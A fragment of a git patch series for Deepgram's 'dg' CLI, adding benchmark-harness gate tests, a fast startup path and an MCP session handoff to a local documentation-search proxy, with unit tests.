+        sys.path.insert(0, os.path.expanduser("~/fakemods"))
+        __import__("fake_nopyc_w")
+    egress()
+    a = sys.argv[1:]
+    if a == ["--version"]:
+        delay()
+        print("dg, version " + CFG["version"])
+    elif a == ["--help"]:
+        print("Usage: dg [OPTIONS] COMMAND")
+    elif a == ["transcribe", "--help"]:
+        print("Usage: dg transcribe [OPTIONS] FILE")
+    elif a[:1] == ["mcp"]:
+        if a[1:]:
+            print(json.dumps({"error": "unsupported"}))
+            return 2
+        mcp()
+    else:
+        return 2
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())
diff --git a/bench/tests/test_bench.py b/bench/tests/test_bench.py
new file mode 100644
index 00000000..3dfc46f6
--- /dev/null
+++ b/bench/tests/test_bench.py
@@ -0,0 +1,425 @@
+"""Unit tests for the bench harness (no Docker). Run: python -m pytest bench/tests
+
+Set BENCH_TARGETS_MD to the targets document (a markdown file with a
+"### 6.1 Targets table") to also diff gates.json against it; without it that
+test is skipped.
+"""
+
+import json
+import os
+import re
+import sys
+
+import pytest
+
+BENCH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+sys.path.insert(0, BENCH)
+sys.path.insert(0, os.path.join(BENCH, "lib"))
+
+import check  # noqa: E402
+import measure  # noqa: E402
+
+GATES = check.load_gates()
+COMP = json.load(open(os.path.join(BENCH, "competitors.json")))
+
+
+def results(version, rows, extra=None):
+    doc = {
+        "subjects": {
+            "dg": {
+                "version": version,
+                "rows": {k: {"value": v} for k, v in rows.items()},
+            }
+        }
+    }
+    for name, r in (extra or {}).items():
+        doc["subjects"][name] = {"rows": {k: {"value": v} for k, v in r.items()}}
+    return doc
+
+
+def by_id(ev):
+    return {e["id"]: e for e in ev}
+
+
+# ----------------------------------------------------------------- gates.json
+def test_gate_ids_unique_and_fields():
+    ids = [g["id"] for g in GATES["gates"]]
+    assert len(ids) == len(set(ids))
+    for g in GATES["gates"]:
+        assert g["op"] in ("<=", ">=", "==")
+        assert g["kind"] in ("timing", "deterministic", "size", "count", "resource")
+        check.vtuple(g["since"])
+        assert g["target_text"]
+
+
+def _numbers(text):
+    return [float(x) for x in re.findall(r"\d+(?:\.\d+)?", text.replace("`", ""))]
+
+
+def test_target_text_carries_the_gate_value():
+    """Each T-gate's value appears in the quoted target text (unit-converted)."""
+    for g in GATES["gates"]:
+        if not g["target"].startswith("T") or g["unit"] == "bool":
+            continue
+        nums = _numbers(g["target_text"])
+        v = float(g["value"])
+        if " s " in g["target_text"] + " " and g["unit"] == "ms":
+            nums += [n * 1000 for n in nums]
+        assert v in nums, (g["id"], g["value"], g["target_text"])
+
+
+def _section6_rows(md):
+    start = md.index("### 6.1 Targets table")
+    end = md.index("### 6.2", start)
+    rows = {}
+    for line in md[start:end].splitlines():
+        m = re.match(r"^\| (T\d+) \|", line)
+        if m:
+            rows[m.group(1)] = line.replace("**", "")
+    return rows
+
+
+@pytest.mark.skipif(
+    not os.environ.get("BENCH_TARGETS_MD"),
+    reason="BENCH_TARGETS_MD not set",
+)
+def test_gates_match_targets_document():
+    rows = _section6_rows(open(os.environ["BENCH_TARGETS_MD"]).read())
+    for g in GATES["gates"]:
+        if g["target"].startswith("T"):
+            assert g["target"] in rows, g["id"]
+            assert g["target_text"].replace("**", "") in rows[g["target"]], (
+                g["id"],
+                g["target_text"],
+            )
+    # every target row whose method is a bench row has at least one gate
+    bench_methods = (
+        "hyperfine",
+        "mcp_all",
+        "mcp_probe",
+        "bench ",
+        "exp_output",
+        "exp_prerecorded",
+        "size report",
+    )
+    gated = {g["target"] for g in GATES["gates"]}
+    for t, line in rows.items():
+        method = line.rstrip(" |").rsplit("|", 1)[-1]
+        if any(k in method for k in bench_methods):
+            assert t in gated, "%s is measured by the bench but has no gate" % t
+
+
+# ----------------------------------------------------------------- evaluation
+def test_since_controls_activation():
+    rows = {"egress_version": 3}
+    _, ev = check.evaluate(results("0.4.0", rows), GATES)
+    assert by_id(ev)["T4.version"]["outcome"] == "pending"
+    _, ev = check.evaluate(results("0.5.0", rows), GATES)
+    assert by_id(ev)["T4.version"]["outcome"] == "BLOCK"
+    _, ev = check.evaluate(results("0.5.0", {"egress_version": 0}), GATES)
+    assert by_id(ev)["T4.version"]["outcome"] == "ok"
+
+
+def test_prerelease_sorts_below_final():
+    assert check.vtuple("1.0.0rc1") < check.vtuple("1.0.0")
+    assert check.vtuple("0.5.1") > check.vtuple("0.5.0")
+    assert check.vtuple("v0.4.0") == check.vtuple("0.4.0")
+
+
+def test_timing_gates_are_report_only_until_blocking():
+    doc = results("0.5.0", {"version_warm": 45.0})
+    _, ev = check.evaluate(doc, GATES)
+    assert by_id(ev)["T1.python"]["outcome"] == "report"
+    g = json.loads(json.dumps(GATES))
+    for x in g["gates"]:
+        if x["id"] == "T1.python":
+            x["blocking"] = True
+    _, ev = check.evaluate(doc, g)
+    assert by_id(ev)["T1.python"]["outcome"] == "BLOCK"
+
+
+def test_missing_row_fails_an_active_blocking_gate():
+    _, ev = check.evaluate(results("0.4.0", {}), GATES)
+    e = by_id(ev)["D.norecompile.version"]
+    assert e["status"] == "n/a" and e["outcome"] == "BLOCK"
+
+
+def test_backstop_uses_the_looser_limit():
+    doc = {
+        "subjects": {
+            "dg": {
+                "version": "0.5.0",
+                "rows": {"egress_version_delta_ms": {"value": 40.0, "limit": 50.0}},
+            }
+        }
+    }
+    _, ev = check.evaluate(doc, GATES)
+    assert by_id(ev)["T4.backstop"]["status"] == "PASS"
+
+
+def test_competitor_context_is_a_same_run_ratio():
+    doc = results(
+        "0.5.0",
+        {"version_warm": 20.0},
+        extra={"gladia": {"version_warm": 2.0}, "gh": {"version_warm": 19.0}},
+    )
+    _, ev = check.evaluate(doc, GATES)
+    best = by_id(ev)["T1.python"]["best"]
+    assert best["name"] == "gladia" and best["ratio"] == 10.0
+
+
+def test_cli_exit_codes(tmp_path):
+    p = tmp_path / "r.json"
+    p.write_text(
+        json.dumps(
+            results(
+                "0.4.0",
+                {"norecompile_version": 0, "norecompile_help": 0, "norecompile_mcp": 0},
+            )
+        )
+    )
+    assert check.main([str(p)]) == 0
+    p.write_text(
+        json.dumps(
+            results(
+                "0.4.0",
+                {"norecompile_version": 2, "norecompile_help": 0, "norecompile_mcp": 0},
+            )
+        )
+    )
+    assert check.main([str(p)]) == 1
+    assert check.main(["list"]) == 0
+
+
+# ----------------------------------------------------------------- paired rule
+def pair(base, head, row="mcp_init"):
+    return {"rounds": {row: {"base": base, "head": head}}}
+
+
+def test_pair_detects_plus_5ms_on_a_9ms_row():
+    base = [9.0, 9.1, 8.9, 9.2, 9.0, 9.1, 9.0, 8.95, 9.05, 9.1]
+    head = [b + 5.0 + (0.1 if i % 2 else -0.1) for i, b in enumerate(base)]
+    r = check.pair_eval(pair(base, head), GATES)[0]
+    assert r["status"] == "RED" and r["threshold"] == 2.0
+
+
+def test_pair_tolerates_plus_1ms():
+    base = [9.0, 9.1, 8.9, 9.2, 9.0, 9.1]
+    r = check.pair_eval(pair(base, [b + 1.0 for b in base]), GATES)[0]
+    assert r["status"] == "green"
+
+
+def test_pair_threshold_is_max_of_pct_mad_floor():
+    base = [100.0] * 6
+    r = check.pair_eval(pair(base, [b + 9.0 for b in base], row="help_warm"), GATES)[0]
+    assert r["threshold"] == 10.0 and r["status"] == "green"
+    noisy = [100 + d for d in (0, 30, -30, 30, -30, 15)]
+    r = check.pair_eval(pair(base, noisy, row="help_warm"), GATES)[0]
+    assert r["threshold"] == 3 * r["mad_diff"]
+
+
+def test_baseline_diff_is_report_only():
+    cur = {
+        "subjects": {
+            "dg": {"rows": {"version_warm": {"value": 50.0, "unit": "ms", "mad": 0.5}}}
+        }
+    }
+    base = {
+        "subjects": {"dg": {"rows": {"version_warm": {"value": 30.0, "unit": "ms"}}}}
+    }
+    (d,) = check.baseline_diff(cur, base, GATES)
+    assert d["slower"] and d["threshold"] == 3.0
+
+
+# ----------------------------------------------------------------- import policy
+@pytest.mark.skipif(sys.version_info < (3, 10), reason="needs sys.stdlib_module_names")
+def test_import_allowlist_classification():
+    pol = GATES["imports"]
+    mods = [
+        "encodings",
+        "json",
+        "json.decoder",
+        "deepctl",
+        "deepctl.main",
+        "_virtualenv",
+    ]
+    r = measure.classify(mods, pol, "version")
+    assert r["allowlist_violations"] == 0 and r["forbidden_hits"] == []
+    r = measure.classify(
+        mods
+        + [
+            "deepctl_core",
+            "click",
+            "asyncio.events",
+            "importlib.metadata._meta",
+            "threading",
+        ],
+        pol,
+        "version",
+    )
+    assert set(r["allowlist_violation_sample"]) == {
+        "deepctl_core",
+        "click",
+        "asyncio.events",
+        "importlib.metadata._meta",
+        "threading",
+    }
+    assert r["forbidden_hits"] == ["asyncio"]
+    assert r["third_party_top_level"] == ["click"]
+    r = measure.classify(["rich.traceback", "rich"], pol, "help")
+    assert r["forbidden_hits"] == ["rich.traceback"] and not r["allowlist_checked"]
+
+
+def test_source_compile_regex():
+    """`python -v` prints source compiles unquoted and .pyc loads quoted (CPython 3.10-3.14)."""
+    assert measure.SOURCE_RE.match(
+        "# code object from /usr/lib/python3.12/json/__init__.py"
+    )
+    assert not measure.SOURCE_RE.match(
+        "# code object from '/usr/lib/python3.12/json/__pycache__/__init__.cpython-312.pyc'"
+    )
+    # a quoted .py pattern never matches a real source compile
+    assert not measure.QUOTED_PY_RE.match(
+        "# code object from /usr/lib/python3.12/json/__init__.py"
+    )
+
+
+def test_import_time_line_parser():
+    m = measure.IMPORT_RE.match("import time:       112 |        340 |   deepctl.main")
+    assert m and m.group(2) == "deepctl.main"
+    assert not measure.IMPORT_RE.match(
+        "import time: self [us] | cumulative | imported package"
+    )
+
+
+# ----------------------------------------------------------------- pins
+def test_competitors_are_pinned():
+    for name, s in COMP["subjects"].items():
+        if s["kind"] == "dg":
+            continue
+        assert s.get("version"), name
+        if s["kind"] == "bin":
+            assert re.fullmatch(r"[0-9a-f]{64}", s["sha256"]), name
+            assert s["version"] in s["url"], name
+        elif s["kind"] == "npm":
+            assert re.fullmatch(r"\d+\.\d+\.\d+(-[\w.]+)?", s["version"]), name
+        elif s["kind"] == "uv":
+            assert re.search(r"==\S+$|@[0-9a-f]{40}$", s["spec"]), name
+    for ref in COMP["images"].values():
+        assert re.search(r"@sha256:[0-9a-f]{64}$", ref), ref
+    for group in COMP["groups"].values():
+        assert set(group) <= set(COMP["subjects"])
+
+
+def test_pair_head_failing_is_red_and_blocks_when_blocking():
+    base = [9.0] * 6
+    r = check.pair_eval(pair(base, [None] * 6), GATES)[0]
+    assert r["status"] == "RED" and r["outcome"] == "report"
+    g = json.loads(json.dumps(GATES))
+    g["regression"]["rows"]["mcp_init"]["blocking"] = True
+    r = check.pair_eval(pair(base, [None] * 6), g)[0]
+    assert r["outcome"] == "BLOCK"
+    r = check.pair_eval(pair([None] * 6, base), g)[0]
+    assert r["outcome"] == "BLOCK", "a blocking row with no base values must not pass"
+    r = check.pair_eval(pair([None] * 6, base), GATES)[0]
+    assert r["status"] == "n/a"
+
+
+def test_unknown_version_fails_closed(tmp_path):
+    p = tmp_path / "r.json"
+    p.write_text(json.dumps({"subjects": {"dg": {"rows": {}}}}))
+    assert check.main([str(p)]) == 1
+
+
+def test_exit_codes_and_wav_header():
+    assert measure.bad_codes([0, 0], [0]) == []
+    assert measure.bad_codes([0, 1, 1], [0]) == [1]
+    h = measure.wav_header(1044)
+    assert len(h) == 44 and h[:4] == b"RIFF" and h[8:12] == b"WAVE"
+    assert int.from_bytes(h[40:44], "little") == 1000
+
+
+def test_subject_not_in_harness_stays_pending():
+    """A synthetic 0.5.1 run where every dg row meets its target must not block on
+    gates for channels the harness can't build yet (dg-native, dg-npm, dg@<os>)."""
+    rows = {}
+    for g in GATES["gates"]:
+        if g["subject"] == "dg":
+            rows[g["row"]] = {"value": g["value"], "limit": g["value"]}
+    doc = {"subjects": {"dg": {"version": "0.5.1", "rows": rows}}}
+    _, ev = check.evaluate(doc, GATES)
+    assert [e["id"] for e in ev if e["outcome"] == "BLOCK"] == []
+    e = by_id(ev)["T7.checkpoint"]
+    assert e["outcome"] == "pending" and e["note"] == "subject not in harness yet"
+    # a subject the harness does know, but that produced nothing, still blocks
+    g = json.loads(json.dumps(GATES))
+    g["gates"].append(
+        {
+            "id": "X",
+            "target": "T6",
+            "subject": "gladia",
+            "row": "install_mb",
+            "op": "<=",
+            "value": 1,
+            "unit": "MB",
+            "kind": "size",
+            "since": "0.1.0",
+            "target_text": "x",
+        }
+    )
+    _, ev = check.evaluate(doc, g)
+    assert (
+        by_id(ev)["X"]["outcome"] == "BLOCK"
+        and by_id(ev)["X"]["note"] == "subject not built"
+    )
+
+
+def test_pair_neither_side_measured_is_not_a_head_regression():
+    r = check.pair_eval(pair([None] * 4, [None] * 4), GATES)[0]
+    assert r["status"] == "n/a" and r["outcome"] == "ok"
+    assert r["note"] == "neither side produced values"
+    g = json.loads(json.dumps(GATES))
+    g["regression"]["rows"]["mcp_init"]["blocking"] = True
+    r = check.pair_eval(pair([None] * 4, [None] * 4), g)[0]
+    assert r["status"] == "n/a" and r["outcome"] == "BLOCK"
+
+
+def test_pair_since_uses_the_higher_version(tmp_path):
+    doc = {
+        "base": {"ref": "b" * 12, "version": "0.5.0"},
+        "head": {
+            "ref": "h" * 12,
+            "version": "0.3.9",
+            "rows": {"egress_version": {"value": 3}},
+        },
+        "rounds": {},
+        "rounds_n": 0,
+    }
+    p = tmp_path / "pair.json"
+    p.write_text(json.dumps(doc))
+    assert check.main(["pair", str(p)]) == 1
+
+
+def test_every_gate_subject_is_known_or_planned():
+    bad = (
+        {g["subject"] for g in GATES["gates"]}
+        - check.known_subjects()
+        - set(GATES["planned_subjects"])
+    )
+    assert not bad, bad
+
+
+def test_unknown_subject_is_an_error(tmp_path):
+    g = json.loads(json.dumps(GATES))
+    g["gates"][0]["subject"] = "dg "  # a typo must not read as a planned channel
+    with pytest.raises(check.UnknownSubject):
+        check.evaluate(results("0.5.0", {}), g)
+    p, gp = tmp_path / "r.json", tmp_path / "g.json"
+    p.write_text(json.dumps(results("0.5.0", {})))
+    gp.write_text(json.dumps(g))
+    os.environ["BENCH_GATES"] = str(gp)
+    try:
+        assert check.main([str(p)]) == 2
+        assert check.main(["list"]) == 2
+    finally:
+        del os.environ["BENCH_GATES"]

From 27f5859549aa7c0eb603e69c2791c320ea6440c5 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 07:37:28 -0400
Subject: [PATCH 02/88] perf(cli): start dg without importing click for
 --version and mcp

deepctl.main now imports only sys and os and peeks at argv:

- `dg --version` prints the version constant, byte-identical to 0.4.x
  ("deepctl, version V" for every console script), and exits 0.
- `dg mcp` (stdio, no other options) runs deepctl.mcp._fast, a
  stdlib-only loop that answers initialize, ping and tools/list from
  fixed local text and a local tool table. Every other method
  (server/discover included) gets -32601 locally and never causes a
  connection. The first tools/call after initialize goes to
  deepctl_cmd_mcp.serve_after_handshake, which replays the handshake to
  the local MCP server in deepctl_cmd_mcp.proxy. If the proxy can't
  start, that call gets an isError result and the server keeps running:
  "dg mcp can't start the documentation search: ..." for local causes,
  "dg mcp couldn't reach Deepgram's documentation search: ..." for
  network ones, and 0.4.1's E_KEY_UNTRUSTED + "A person must fix this
  file..." when an agent session left the config file's key unused
  (config notices are flushed to stderr first). stdin EOF exits 0.
- Everything else imports deepctl._cli (the old main.py) and runs Click.

Also:

- deepctl/__init__ is stdlib-only and exports no `main`; new
  deepctl/__main__ makes `python -m deepctl` (and -I) work.
- `dg --version` into a closed pipe or with stdout closed exits quietly.
- main() pops DEEPCTL_LAUNCHER first thing into deepctl.main.LAUNCHER.
- The rich traceback hook (show_locals=False) loads only when an
  exception reaches the top level.
- --timing counts from main()'s first line (startup_imports).
- Past --version, main() marks httpx._main as unavailable, so httpx uses
  its stub CLI and skips pygments and rich.syntax.
- Commands load inside run()'s error handling, not at import. An
  unreadable HOME, plugin venv or cache gives a single warning line
  ("WARN: plugins unavailable: <reason> (while loading <what>)"); other
  plugin errors keep their per-plugin message. Startup notices skip an
  unreadable cache; `dg --help` and `dg <command> --help` run without a
  readable config (help for a group's subcommands still needs one), and
  the telemetry help notice says off when it can't read one.

Old names (cli, load_commands, helpers) still resolve from deepctl.main
(reads only; patch deepctl._cli). git shows _cli.py as a new file, not a
rename of main.py.
---
 .../src/deepctl_cmd_mcp/__init__.py           |   2 +
 .../src/deepctl_cmd_mcp/handoff.py            | 187 +++++
 .../tests/unit/test_handoff.py                | 160 +++++
 .../src/deepctl_core/plugin_manager.py        |  59 ++
 .../src/deepctl_telemetry/notice.py           |   9 +-
 src/deepctl/__init__.py                       |  12 +-
 src/deepctl/__main__.py                       |   5 +
 src/deepctl/_cli.py                           | 619 +++++++++++++++++
 src/deepctl/main.py                           | 642 ++++--------------
 src/deepctl/mcp/__init__.py                   |   1 +
 src/deepctl/mcp/_fast.py                      | 237 +++++++
 tests/unit/test_entry_point.py                | 252 +++++++
 tests/unit/test_import_budget.py              | 208 ++++++
 tests/unit/test_install_hook.py               |   4 +-
 tests/unit/test_main.py                       |  59 +-
 tests/unit/test_mcp_fast.py                   | 251 +++++++
 tests/unit/test_telemetry_wiring.py           |  21 +-
 17 files changed, 2167 insertions(+), 561 deletions(-)
 create mode 100644 packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py
 create mode 100644 packages/deepctl-cmd-mcp/tests/unit/test_handoff.py
 create mode 100644 src/deepctl/__main__.py
 create mode 100644 src/deepctl/_cli.py
 create mode 100644 src/deepctl/mcp/__init__.py
 create mode 100644 src/deepctl/mcp/_fast.py
 create mode 100644 tests/unit/test_entry_point.py
 create mode 100644 tests/unit/test_import_budget.py
 create mode 100644 tests/unit/test_mcp_fast.py

diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/__init__.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/__init__.py
index c935a5d7..52dcb2a8 100644
--- a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/__init__.py
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/__init__.py
@@ -1,10 +1,12 @@
 """MCP server command for deepctl."""
 
 from .command import McpCommand
+from .handoff import serve_after_handshake
 from .models import MCPServerResult, TransportType
 
 __all__ = [
     "McpCommand",
     "MCPServerResult",
     "TransportType",
+    "serve_after_handshake",
 ]
diff --git a/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py
new file mode 100644
index 00000000..b00d7ce1
--- /dev/null
+++ b/packages/deepctl-cmd-mcp/src/deepctl_cmd_mcp/handoff.py
@@ -0,0 +1,187 @@
+"""Hand a stdio MCP session from ``dg mcp``'s fast path to the proxy.
+
+``deepctl.mcp._fast`` answers ``initialize`` and ``tools/list`` itself, then
+calls ``serve_after_handshake`` on the first request it can't answer. This
+replays the client's ``initialize`` to the local MCP server in
+``deepctl_cmd_mcp.proxy`` (dropping that second reply), then feeds it the
+pending request and the rest of stdin.
+
+Contract (see ``deepctl.mcp._fast``): returns the exit code when the session
+ends; raises an ``Exception`` whose message the client sees only when it
+could not start, before reading stdin or writing stdout.
+"""
+
+from __future__ import annotations
+
+import io
+import json
+import sys
+from contextlib import redirect_stdout
+from typing import TYPE_CHECKING, Any, BinaryIO
+
+if TYPE_CHECKING:
+    from collections.abc import AsyncIterator
+
+# The id of the replayed initialize; its reply is ours, not the client's.
+_REPLAY_ID = "deepctl-fast-path-initialize"
+
+
+def _report_error(exc: BaseException) -> None:
+    """Errors-only telemetry, as `dg mcp` reports proxy failures."""
+    try:
+        from deepctl_telemetry import report_exception
+
+        report_exception(exc)
+    except Exception:
+        pass
+
+
+class _ReplayThenStdin:
+    """Async lines: the replayed handshake and pending request, then stdin."""
+
+    def __init__(self, lines: list[str], stdin: BinaryIO) -> None:
+        self._lines = lines
+        self._stdin = stdin
+        # Set once the server starts reading: from then on a failure is
+        # reported on stderr, not as a start failure.
+        self.started = False
+
+    def __aiter__(self) -> AsyncIterator[str]:
+        self.started = True
+        return self._lines_then_stdin()
+
+    async def _lines_then_stdin(self) -> AsyncIterator[str]:
+        import anyio
+
+        for line in self._lines:
+            yield line + "\n"
+        text = io.TextIOWrapper(self._stdin, encoding="utf-8", errors="replace")
+        async for line in anyio.wrap_file(text):
+            yield line
+
+
+class _DropReplayReply:
+    """stdout for the proxy server, minus its reply to the replayed initialize."""
+
+    def __init__(self, stdout: BinaryIO) -> None:
+        self._stdout = stdout
+        self._dropped = False
+
+    async def write(self, data: str) -> None:
+        if not self._dropped:
+            try:
+                reply_id = json.loads(data).get("id")
+            except (ValueError, AttributeError):
+                reply_id = None
+            if reply_id == _REPLAY_ID:
+                self._dropped = True
+                return
+        self._stdout.write(data.encode("utf-8"))
+
+    async def flush(self) -> None:
+        self._stdout.flush()
+
+
+# The client sees these texts (as a tool error) and stderr gets them after
+# "ERROR: dg mcp: ". A local cause (no key, unreadable config) never reads
+# as Deepgram being down.
+CANT_START = "dg mcp can't start the documentation search: {reason}"
+CANT_REACH = "dg mcp couldn't reach Deepgram's documentation search: {reason}"
+NO_KEY = (
+    "No API key is set. Run dg login or set DEEPGRAM_API_KEY, then restart "
+    "the MCP server."
+)
+
+
+def _api_key() -> str:
+    """The key `dg mcp` would use (flag-less: profile, keyring or env).
+
+    Raises RuntimeError with the client-facing text when there is none.
+    """
+    from deepctl_core import AuthManager, Config
+    from deepctl_core import messages as msg
+    from deepctl_core.config import flush_config_notices
+
+    try:
+        # stdout is the protocol channel: config notices go to stderr, and
+        # now, so they come before any reply or ERROR line.
+        with redirect_stdout(sys.stderr):
+            config = Config()
+            flush_config_notices()
+            try:
+                from deepctl_telemetry import init_telemetry
+
+                init_telemetry(config)
+            except Exception:
+                pass
+            api_key = AuthManager(config).get_api_key()
+    except Exception as exc:
+        raise RuntimeError(CANT_START.format(reason=_reason(exc))) from exc
+    if api_key:
+        return api_key
+    if getattr(config, "api_key_untrusted", False) is True:
+        # The config file's key was left unused (W-PERM-AGENT /
+        # W-CFG-UNTRUSTED): send the agent to a person, never to dg login.
+        raise RuntimeError(
+            msg.E_KEY_UNTRUSTED.format(user_config=msg.display_path(config.config_path))
+            + " "
+            + msg.W_CFG_UNTRUSTED_FILE_HINT
+        )
+    raise RuntimeError(CANT_START.format(reason=NO_KEY))
+
+
+def serve_after_handshake(
+    initialize_params: dict[str, Any],
+    pending_message: dict[str, Any],
+    stdin: BinaryIO,
+    stdout: BinaryIO,
+) -> int:
+    """Serve the rest of a stdio session through the local MCP server."""
+    import asyncio
+
+    from deepctl_core.hosts import canonical_url
+
+    from .proxy import DEFAULT_BASE_URL, serve
+
+    api_key = _api_key()
+    replay = [
+        json.dumps(
+            {
+                "jsonrpc": "2.0",
+                "id": _REPLAY_ID,
+                "method": "initialize",
+                "params": initialize_params,
+            }
+        ),
+        json.dumps({"jsonrpc": "2.0", "method": "notifications/initialized"}),
+        json.dumps(pending_message),
+    ]
+    lines = _ReplayThenStdin(replay, stdin)
+    try:
+        asyncio.run(
+            serve(
+                lines,
+                _DropReplayReply(stdout),
+                base_url=canonical_url(DEFAULT_BASE_URL),
+                api_key=lambda: api_key,
+            )
+        )
+    except KeyboardInterrupt:
+        return 0
+    except Exception as exc:
+        _report_error(exc)
+        reason = _reason(exc)
+        if not lines.started:
+            raise RuntimeError(CANT_REACH.format(reason=reason)) from exc
+        print(f"ERROR: dg mcp: {reason}", file=sys.stderr)
+        return 1
+    return 0
+
+
+def _reason(exc: BaseException) -> str:
+    """One line: the innermost cause of an (exception-group) failure."""
+    # ExceptionGroup is 3.11+; anyio raises its backport on 3.10.
+    while getattr(exc, "exceptions", None):
+        exc = exc.exceptions[0]  # type: ignore[attr-defined]
+    text = str(exc).strip().splitlines()
+    return text[0] if text else type(exc).__name__
diff --git a/packages/deepctl-cmd-mcp/tests/unit/test_handoff.py b/packages/deepctl-cmd-mcp/tests/unit/test_handoff.py
new file mode 100644
index 00000000..cb876497
--- /dev/null
+++ b/packages/deepctl-cmd-mcp/tests/unit/test_handoff.py
@@ -0,0 +1,160 @@
+"""serve_after_handshake: the fast path's hand-off to the proxy."""
+
+from __future__ import annotations
+
+import io
+import json
+from typing import Any
+
+import pytest
+
+import deepctl_cmd_mcp.handoff as handoff
+
+INIT_PARAMS = {
+    "protocolVersion": "2025-06-18",
+    "capabilities": {},
+    "clientInfo": {"name": "t", "version": "1"},
+}
+CALL = {
+    "jsonrpc": "2.0",
+    "id": 3,
+    "method": "tools/call",
+    "params": {
+        "name": "search_deepgram_knowledge_sources",
+        "arguments": {"query": "x"},
+    },
+}
+
+
+@pytest.fixture
+def key(monkeypatch: pytest.MonkeyPatch) -> None:
+    monkeypatch.setattr(handoff, "_api_key", lambda: "fake-key")
+
+
+async def _echo_serve(stdin: Any, stdout: Any, **kwargs: Any) -> None:
+    """Stands in for proxy.serve: a stdio server answering every request."""
+    import mcp.server.stdio
+    import mcp.types as types
+    from mcp.shared.message import SessionMessage
+
+    assert kwargs["api_key"]() == "fake-key"
+    async with mcp.server.stdio.stdio_server(stdin=stdin, stdout=stdout) as (
+        read,
+        write,
+    ):
+        async for item in read:
+            root = item.message.root
+            if isinstance(root, types.JSONRPCRequest):
+                reply = types.JSONRPCResponse(
+                    jsonrpc="2.0", id=root.id, result={"echo": root.method}
+                )
+                await write.send(SessionMessage(types.JSONRPCMessage(reply)))
+        await write.aclose()
+
+
+def test_replays_the_handshake_and_drops_its_reply(
+    key: None, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    import deepctl_cmd_mcp.proxy as proxy
+
+    monkeypatch.setattr(proxy, "serve", _echo_serve)
+    stdin = io.BytesIO(b'{"jsonrpc":"2.0","id":4,"method":"ping"}\n')
+    stdout = io.BytesIO()
+    code = handoff.serve_after_handshake(INIT_PARAMS, CALL, stdin, stdout)
+    assert code == 0
+    replies = [json.loads(line) for line in stdout.getvalue().splitlines()]
+    # The replayed initialize's reply is dropped; the client sees only its own.
+    assert replies == [
+        {"jsonrpc": "2.0", "id": 3, "result": {"echo": "tools/call"}},
+        {"jsonrpc": "2.0", "id": 4, "result": {"echo": "ping"}},
+    ]
+
+
+def test_connection_failure_raises_before_touching_streams(
+    key: None, monkeypatch: pytest.MonkeyPatch
+) -> None:
+    import deepctl_cmd_mcp.proxy as proxy
+
+    async def offline(stdin: Any, stdout: Any, **kwargs: Any) -> None:
+        raise ConnectionError("[Errno -3] Temporary failure in name resolution")
+
+    monkeypatch.setattr(proxy, "serve", offline)
+    stdin = io.BytesIO(b'{"jsonrpc":"2.0","id":4,"method":"ping"}\n')
+    stdout = io.BytesIO()
+    with pytest.raises(
+        RuntimeError,
+        match="^dg mcp couldn't reach Deepgram's documentation search: .*name resolution",
+    ):
+        handoff.serve_after_handshake(INIT_PARAMS, CALL, stdin, stdout)
+    assert stdin.tell() == 0
+    assert stdout.getvalue() == b""
+
+
+def test_no_api_key_is_a_start_failure(
+    monkeypatch: pytest.MonkeyPatch, tmp_path: Any
+) -> None:
+    monkeypatch.setenv("HOME", str(tmp_path))
+    monkeypatch.setenv("XDG_CONFIG_HOME", str(tmp_path / ".config"))
+    monkeypatch.delenv("DEEPGRAM_API_KEY", raising=False)
+    import keyring
+
+    monkeypatch.setattr(keyring, "get_password", lambda *a: None)
+    with pytest.raises(RuntimeError) as exc:
+        handoff.serve_after_handshake(INIT_PARAMS, CALL, io.BytesIO(), io.BytesIO())
+    assert str(exc.value) == (
+        "dg mcp can't start the documentation search: No API key is set. Run dg "
+        "login or set DEEPGRAM_API_KEY, then restart the MCP server."
+    )
+
+
+def test_untrusted_config_key_sends_an_agent_to_a_person(
+    monkeypatch: pytest.MonkeyPatch,
+    tmp_path: Any,
+    capsys: pytest.CaptureFixture[str],
+) -> None:
+    """0.4.1's W-PERM-AGENT rule: never tell an agent to run dg login."""
+    import os
+    import sys
+
+    import yaml
+
+    if sys.platform == "win32" or os.geteuid() == 0:
+        pytest.skip("needs POSIX modes and a non-root user")
+    from deepctl_core import messages as msg
+
+    config_dir = tmp_path / ".config" / "deepctl"
+    config_dir.mkdir(parents=True)
+    path = config_dir / "config.yaml"
+    path.write_text(
+        yaml.safe_dump({"profiles": {"default": {"api_key": "sk-FILESENTINEL"}}})
+    )
+    path.chmod(0o666)
+    monkeypatch.setenv("HOME", str(tmp_path))
+    monkeypatch.setenv("XDG_CONFIG_HOME", str(tmp_path / ".config"))
+    monkeypatch.setenv("CLAUDECODE", "1")
+    monkeypatch.delenv("DEEPGRAM_API_KEY", raising=False)
+    import keyring
+
+    monkeypatch.setattr(keyring, "get_password", lambda *a: None)
+    with pytest.raises(RuntimeError) as exc:
+        handoff.serve_after_handshake(INIT_PARAMS, CALL, io.BytesIO(), io.BytesIO())
+    text = str(exc.value)
+    assert text.endswith(msg.W_CFG_UNTRUSTED_FILE_HINT)
+    assert "ask the user" in text and "dg login" not in text
+    assert "sk-FILESENTINEL" not in text
+    captured = capsys.readouterr()
+    # The config warning was flushed to stderr, before any reply.
+    assert captured.err.strip() and captured.out == ""
+
+
+class _Group(Exception):
+    """Shaped like an ExceptionGroup (3.11+; a backport on 3.10)."""
+
+    def __init__(self, *exceptions: BaseException) -> None:
+        super().__init__("unhandled errors in a TaskGroup")
+        self.exceptions = exceptions
+
+
+def test_reason_unwraps_exception_groups() -> None:
+    group = _Group(_Group(OSError("connection refused\nmore detail")))
+    assert handoff._reason(group) == "connection refused"
diff --git a/packages/deepctl-core/src/deepctl_core/plugin_manager.py b/packages/deepctl-core/src/deepctl_core/plugin_manager.py
index d22fe209..68a743b3 100644
--- a/packages/deepctl-core/src/deepctl_core/plugin_manager.py
